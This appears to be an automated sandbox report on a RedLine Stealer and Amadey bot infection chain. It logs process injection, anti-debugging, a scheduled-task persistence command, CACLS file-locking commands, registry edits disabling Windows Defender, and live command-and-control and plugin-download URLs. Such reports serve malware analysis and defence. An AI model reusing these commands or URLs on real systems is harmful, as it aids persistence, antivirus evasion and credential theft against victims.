Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe TID: 4084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe TID: 2348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5024	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5024	Thread sleep time: -3840000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4604	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 3216	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 3216	Thread sleep time: -6840000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5024	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2956	Thread sleep count: 164 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2956	Thread sleep time: -164000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

2_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_2-25915
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_2-26002

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_1-2450
Source: C:\Users\user\Desktop\file.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-2575

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

API coverage: 5.1 %

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

API call chain: ExitProcess graph end node

graph_2-26004

Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D5467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_011D5467

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_011D2390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F82390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00F82390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011EFC58 FindFirstFileExW,	15_2_011EFC58

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

2_2_004019F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_011D2F1D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B092B mov eax, dword ptr fs:[00000030h]	2_2_005B092B
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B0D90 mov eax, dword ptr fs:[00000030h]	2_2_005B0D90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011EA9A1 mov eax, dword ptr fs:[00000030h]	15_2_011EA9A1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011ECFB2 mov eax, dword ptr fs:[00000030h]	15_2_011ECFB2

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0040CE09

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Code function: 2_2_0040ADB0 GetProcessHeap,HeapFree,

2_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D6F40 SetUnhandledExceptionFilter,	0_2_011D6F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_011D6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F86F40 SetUnhandledExceptionFilter,	1_2_00F86F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F86CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00F86CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_004123F1 SetUnhandledExceptionFilter,	2_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005BD070 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_005BD070
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005BE883 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_005BE883
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005C71D1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_005C71D1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005C2658 SetUnhandledExceptionFilter,	2_2_005C2658
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011E790F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_011E790F
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011EBB20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_011EBB20
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011E7208 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_011E7208

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 15_2_011D3740 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

15_2_011D3740

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D18A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_011D18A3

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: GetLocaleInfoA,		2_2_00417A20
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: GetLocaleInfoA,		2_2_005C7C87

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 15_2_011E7AFC cpuid

15_2_011E7AFC

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D7155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_011D7155

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 15_2_011F3C76 _free,_free,_free,GetTimeZoneInformation,_free,

15_2_011F3C76

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Code function: 2_2_023996A8 GetUserNameA,

2_2_023996A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D2BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_011D2BFB

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 2.2.amMl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.amMl.exe.5b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.amMl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.amMl.exe.5e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 31.2.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.xriv.exe.11d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4bb4820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4bb4820.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.xriv.exe.11d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.mnolyk.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000000.402656135.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.519184660.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.518847759.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.646081844.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.645377200.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.410254197.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.785140671.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.409483823.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.400766948.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.773987737.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.774229388.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.261384983.0000000004B55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, type: DROPPED

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mnolyk.exe PID: 4184, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 28.2.rundll32.exe.6f690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 2.2.amMl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.amMl.exe.5b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.amMl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.amMl.exe.5e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Windows Service	2 Bypass User Access Control	21 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Service Execution	1 Services File Permissions Weakness	111 Process Injection	2 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Registry Run Keys / Startup Folder	2 Bypass User Access Control	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	1 Services File Permissions Weakness	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	111 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Services File Permissions Weakness	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Rundll32	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	67%	ReversingLabs	Win32.Spyware.RedLine
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	0%	URL Reputation	safe
http://62.204.41.4/Gol478Ns/index.phpm0	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dllG	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php342a2	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpyux	0%	Avira URL Cloud	safe
http://62.204.41.4/Golol478Ns/index.php	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	100%	URL Reputation	malware
http://62.204.41.4/Gol478Ns/index.phptch	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpc	0%	Avira URL Cloud	safe
62.204.41.4/Gol478Ns/index.php	100%	URL Reputation	malware
http://62.204.41.4/Gol478Ns/index.phpIo	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php	100%	URL Reputation	malware
http://62.204.41.4/Gol478Ns/index.php.	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpe	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpFo	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phprundll32.exel	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phprundll32.exe	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpt	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php2	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpL	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpe5342a2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	true	URL Reputation: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	true	URL Reputation: malware	unknown
62.204.41.4/Gol478Ns/index.php	true	URL Reputation: malware	low
http://62.204.41.4/Gol478Ns/index.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
